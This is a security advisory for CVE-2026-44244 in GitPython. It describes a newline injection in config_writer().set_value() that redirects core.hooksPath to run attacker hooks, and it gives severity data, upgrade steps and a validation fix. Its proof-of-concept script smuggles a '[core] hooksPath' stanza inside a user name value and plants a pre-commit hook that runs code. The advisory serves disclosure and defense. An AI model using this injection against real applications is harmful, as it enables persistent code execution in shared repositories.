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GHSA-v87r-6q3f-2j67 CVE-2026-44244 PYSEC-2026-2163

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

High PyPI
Severity
7.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 14.76% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
3.1.49
Upgrade gitpython to this version or later

Description

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Affected versions

PyPI

PackageVulnerableFixed in
gitpython
< 3.1.49
3.1.49

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitpython PyPI → 3.1.49

pip
pip install --upgrade "gitpython>=3.1.49"
poetry
poetry add "gitpython>=3.1.49"
uv
uv add "gitpython>=3.1.49"

Severity breakdown

CVSS 3.1 7.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
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GHSA-m64x-33q8-m5h7
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High Also affects gitpython
GHSA-59cr-6r3x-644w
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